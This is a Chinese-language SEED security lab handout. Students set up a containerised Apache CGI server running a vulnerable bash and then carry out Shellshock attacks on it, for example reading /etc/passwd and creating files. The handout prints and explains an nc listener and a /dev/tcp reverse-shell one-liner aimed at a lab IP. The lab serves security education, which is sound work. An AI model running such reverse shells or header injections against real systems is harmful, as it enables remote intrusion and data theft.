Shellshock 攻击实验

1 概述

2014 年 9 月 24 日，bash 中的一个严重漏洞被发现了。这个漏洞被称为 Shellshock，很多系统受到影响。在本实验中，学生需要进行这个攻击，以便深入了解 Shellshock 漏洞。这个实验的学习目标是让学生通过亲身体验这个有趣的攻击，理解它是如何工作的，并思考从中可以得到的教训。这个实验的第一个版本是在 2014 年 9 月 29 日开发的，距漏洞报告发布仅五天。SEED 项目的一个重要任务是快速将实际攻击转化为教育材料，以便教师能及时将它们引入课堂，并让学生关注现实世界中的事件。本实验包含以下主题：

- Shellshock
- 环境变量
- bash 中的函数定义
- Apache 和 CGI 程序

阅读和视频。 关于 Shellshock 攻击的详细信息可以在以下资料中找到：

- SEED 教科书的第 3 章，*Computer & Internet Security: A Hands-on Approach*, 3rd Edition, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net`.
- SEED 课程视频的第 3 节，*Computer Security: A Hands-on Approach*, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net/video.html`.

实验环境。 本实验在我们预先构建好的 Ubuntu 20.04 VM（可以从我们的 SEED 网站当中下载）当中测试可行。既然我们使用容器来建立实验环境，本实验不太依赖 SEED VM。您可以在其他 VM、物理机器以及云端 VM 上进行此实验。

2 环境设置

2.1 DNS 设置

在我们的设置中，Web 服务器容器的 IP 地址是 `10.9.0.5`，主机名是 `www.seed-server.com`，我们需要将这个主机名和 IP 地址的映射添加到 `/etc/hosts` 文件中。需要使用 root 权限来修改该文件：

```
10.9.0.5        www.seed-server.com
```

2.2 容器设置和命令

请从实验的网站下载 Labsetup.zip 文件到你的 VM 中，解压它，进入 Labsetup 文件夹，然后用 docker-compose.yml 文件安装实验环境。对这个文件及其包含的所有 Dockerfile 文件中的内容的详细解释都可以在链接到本实验网站的用户手册 [1] 中找到。如果这是您第一次使用容器设置 SEED 实验环境，那么阅读用户手册非常重要。

在下面，我们列出了一些与 Docker 和 Compose 相关的常用命令。由于我们将非常频繁地使用这些命令，因此我们在 .bashrc 文件（在我们提供的 SEED Ubuntu 20.04 虚拟机中）中为它们创建了别名。

```
$ docker-compose build  # 建立容器镜像
$ docker-compose up     # 启动容器
$ docker-compose down   # 关闭容器

// 上述 Compose 命令的别名
$ dcbuild       # docker-compose build 的别名
$ dcup          # docker-compose up 的别名
$ dcdown        # docker-compose down 的别名
```

所有容器都在后台运行。要在容器上运行命令，我们通常需要获得容器里的 Shell 。首先需要使用 docker ps 命令找出容器的 ID ，然后使用 docker exec 在该容器上启动 Shell 。我们已经在 .bashrc 文件中为这两个命令创建了别名。

```
$ dockps        // docker ps --format "{{.ID}}  {{.Names}}" 的别名
$ docksh <id>   // docker exec -it <id> /bin/bash 的别名

// 下面的例子展示了如何在主机 C 内部得到 Shell
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// 注: 如果一条 docker 命令需要容器 ID, 你不需要
//     输入整个 ID 字符串。只要它们在所有容器当中
//     是独一无二的，那只输入前几个字符就足够了。
```

如果你在设置实验环境时遇到问题，可以尝试从手册的 “Miscellaneous Problems” 部分中寻找解决方案。

[1] 如果你在部署容器的过程中发现从官方源下载容器镜像非常慢，可以参考手册中的说明使用当地的镜像服务器

2.3 Web 服务器和 CGI

在本实验中，我们将对 Web 服务器发起 Shellshock 攻击。许多 Web 服务器都用了 CGI，这是 Web 应用程序中生成动态内容的常用方法。许多 CGI 程序是 shell 脚本，因此在 CGI 程序运行之前，shell 程序会先运行。这种调用是由远程计算机的用户触发的，如果该 shell 程序是一个存在漏洞的 bash 程序，那么我们就可以利用 Shellshock 漏洞来获取服务器上的权限。

在我们的 Web 服务器中已经设置了一个非常简单的 CGI 程序 `vul.cgi`），它是个 shell 脚本，功能就是打印出`"Hello World"`。该 CGI 程序放在 Apache 的默认 CGI 文件夹`/usr/lib/cgi-bin` 中，它必须设置成可执行的。

Listing 1: `vul.cgi`

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

该 CGI 程序使用 `/bin/bash_shellshock`（第一行），而不是使用`/bin/bash`。这一行指定应当调用哪个 shell 程序来运行脚本。在本实验中，我们需要使用有漏洞的 bash 程序。

要从 Web 访问 CGI 程序，我们可以通过浏览器输入以下 URL: `http://www.seed-server.com/cgi-bin/vul.cgi`，或者使用以下命令行程序 `curl` 来执行相同操作。

```
$ curl http://www.seed-server.com/cgi-bin/vul.cgi
```

3 实验任务

关于 Shellshock 攻击的详细指导可以在网上或 SEED 书中找到，我们不会在实验描述中重复这些内容。

3.1 任务 1: 实验 Bash 函数

Ubuntu 20.04 中的 bash 程序已经打了补丁，因此它不再有 Shellshock 漏洞。为了本实验的目的，我们在容器中安装了一个有漏洞的 bash 版本（在`/bin` 中）。该程序也可以在 `Labsetup` 文件夹（在 `image_www` 中）找到。它的名字是 `bash_shellshock`。我们需要使用这个 bash 程序来完成任务。你可以在容器中或直接在你的计算机上运行这个 shell 程序。

请设计一个实验来验证该 bash 程序是否容易受到 Shellshock 攻击。在已打了补丁的版本 `/bin/bash` 上进行相同的实验并报告你的观察结果。

3.2 任务 2: 通过环境变量传递数据给 Bash

要利用 Shellshock 漏洞，攻击者需要将数据传递给有漏洞的 bash 程序，而且这些数据必须要通过环境变量传递。在这个任务中，我们看看如何实现这一目标。我们在服务器上提供了另一个 CGI 程序

（getenv.cgi）来帮助你识别哪些用户数据可以进入 CGI 程序的环境变量。该 CGI 程序会打印出它的所有环境变量。

Listing 2: getenv.cgi

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ            ①
```

任务 2.A: 使用浏览器。 在上面的代码中，第①行打印出当前进程中所有环境变量的内容。通常，如果你使用浏览器访问 CGI 程序，你会看到类似以下的内容。请识别哪些环境变量的值是由浏览器设置的。你可以开启浏览器的 HTTP Header Live 扩展来捕获 HTTP 请求，并将请求与服务器打印出的环境变量进行对比。请将你的调查结果写在实验报告中。

```
****** Environment Variables ******
HTTP_HOST=www.seed-server.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) ...
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9, ...
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
...
```

任务 2.B: 使用 curl。 如果我们想将环境变量数据设置为任意值，就必须修改浏览器的行为，这样做会很复杂。幸运的是，有一个命令行工具叫做 curl，它允许用户控制 HTTP 请求中的大部分字段。这里是一些有用的选项：（1）-v 选项可以打印出 HTTP 请求的头部；（2）-A、-e 和 -H 选项可以设置 HTTP 请求头部中的一些字段。你需要弄清楚每个字段的作用。请在实验报告中记录你的发现。以下是如何使用这些字段的示例：

```
$ curl -v www.seed-server.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seed-server.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seed-server.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seed-server.com/cgi-bin/getenv.cgi
```

根据本实验，请描述 curl 的哪些选项可以用于将数据注入到目标 CGI 程序的环境变量中。

3.3 任务 3: 发起 Shellshock 攻击

我们现在可以发起 Shellshock 攻击。该攻击不依赖于 CGI 程序中的内容，因为它针对的是 CGI 脚本执行之前调用的 bash 程序。你的任务是通过 URL http://www.seed-server.com/cgi-bin/vul.cgi 发起攻击，以便让服务器运行任意命令。

如果你的命令有纯文本输出,并且你希望输出返回给你,输出需要遵循如下协议:它应该以 `Content_type: text/plain` 开头，后跟一个空行，然后就可以放置纯文本输出。例如，如果你希望服务器返回其文件夹中的文件列表，你的命令应该像下面这样:

```
echo Content-type: text/plain; echo; /bin/ls -l
```

在这个任务中，请使用三种不同的方法（即三种不同的 HTTP 头字段）来对目标 CGI 程序发起 Shellshock 攻击。你需要实现以下目标，但对于每个目标，你只需要使用一种方法，但总共需要使用三种不同的方法。

- 任务 3.A: 让服务器返回 `/etc/passwd` 文件的内容。
- 任务 3.B: 让服务器返回其进程的用户 ID。你可以使用 `/bin/id` 命令打印出 ID 信息。
- 任务 3.C: 让服务器在`/tmp` 文件夹中创建一个文件。你需要进入容器查看文件是否被创建，或者使用另一个 Shellshock 攻击来列出 `/tmp` 文件夹中的内容。
- 任务 3.D: 让服务器删除你刚刚在 `/tmp` 文件夹中创建的文件。

问题。 请回答以下问题:

- 问题 1: 你能否从服务器窃取 `/etc/shadow` 文件的内容？为什么或者为什么不行？任务 3.B 中获得的信息应该能给你一些线索。
- 问题 2: HTTP GET 请求通常会在 URL 中附加数据，放在? 标记后面。我们可以试着用这些数据来发起攻击。在以下示例中，我们在 URL 中附加了一些数据，我们发现这些数据被用来设置成环境变量:

```
$ curl "http://www.seed-server.com/cgi-bin/getenv.cgi?AAAAA"
...
QUERY_STRING=AAAAA
...
```

我们能否使用这种方法发起 Shellshock 攻击？请进行你的实验，并根据实验结果得出结论。

3.4 任务 4: 通过 Shellshock 攻击获取反向 Shell

Shellshock 漏洞允许攻击者在目标机器上运行任意命令。在实际攻击中，攻击者通常不会将命令固化在攻击中，而是选择运行一个 shell 命令，这样他们就可以使用这个 shell 来运行其他命令。为了实现这一目标，攻击者需要运行一个反向 shell。

反向 shell 是一个在受害者机器上运行的 shell 进程，但它从攻击者的机器获取输入并将输出打印在攻击者的机器上。反向 shell 为攻击者提供了在被攻陷的机器上运行 shell 命令的一种便捷方式。如何创建反向 shell 的详细说明可以在 SEED 书中找到。我们也在第 4 节中做了一些解释。在本任务中，你需要演示如何通过 Shellshock 攻击从受害者那里获得反向 shell。

3.5 任务 5: 使用已修补的 Bash

在该任务中，我们使用一个已经打了补丁的 bash 程序。/bin/bash 程序是修补后的版本。请将 CGI 程序的第一行替换为这个程序。重新做一次任务 3，描述你的观察结果。

4 指导：创建反向 Shell

反向 shell 的关键思想是将 shell 的标准输入、输出和错误设备重定向到网络连接，这样 shell 就会从该连接获取输入，并将输出也发送回该连接。在连接的另一端运行的是攻击者的程序，这个程序只是显示来自另一端的 shell 程序打印出来的内容，并将攻击者键入的内容通过网络连接发送给 shell 程序。

攻击端常用的一个程序是 netcat，如果用 "-l" 选项，则会运行一个监听指定端口的 TCP 服务器。该服务器程序会打印客户端发送来的内容，并把用户输入的内容发到客户端。在下面的实验中，我们将使用 netcat（简写为 nc）来监听 9090 端口。我们先仅关注第一行。

```
Attacker(10.0.2.6):$ nc -nv -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$     ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
```

上述的 nc 命令会阻塞，等待连接。我们在服务器（10.0.2.5）上直接运行以下 bash 程序，这是模拟攻击者通过漏洞在服务器上做的事。这个 bash 命令将与攻击者机器的 9090 的端口建立一个 TCP 连接，从而创建一个反向 shell。我们可以从上述结果中看到 shell 程序的提示符，这表明 shell 程序正在服务器上运行。我们可以通过键入 ifconfig 命令来验证 IP 地址确实为 10.0.2.5，这是属于服务器的 IP 地址。以下是 bash 命令：

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

上述命令比较复杂，我们在下面进行详细的解释：

- "/bin/bash -i": 选项 i 表示这是交互模式，意味着 shell 程序会提供 shell 提示符。
- "> /dev/tcp/10.0.2.6/9090": 这使得 shell 程序的标准输出设备 stdout 被重定向到一个指定的 TCP 连接。在 unix 系统中，stdout 的文件描述符为 1。
- "0<&1": 文件描述符 0 表示标准输入设备 stdin。此选项告诉系统使用标准输出设备作为标准输入设备。由于标准输出已经被重定向到 TCP 连接，因此标准输入也用同一个 TCP 连接。
- "2>&1": 文件描述符 2 表示标准错误 stderr。这使得错误输出也被重定向到同一个 TCP 连接。

总之，命令 "/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1" 在服务器机器上启动了 bash 程序，它的输入来自一个 TCP 连接，输出也发送到相同的 TCP 连接。当我们在 10.0.2.5 上执行这条

bash 命令时，它会回连到 `10.0.2.6` 上运行的 netcat 进程。通过 netcat 显示的 “Connection received on 10.0.2.5...”，我们可以确认这点。

5 提交

你需要提交一份带有截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得学分。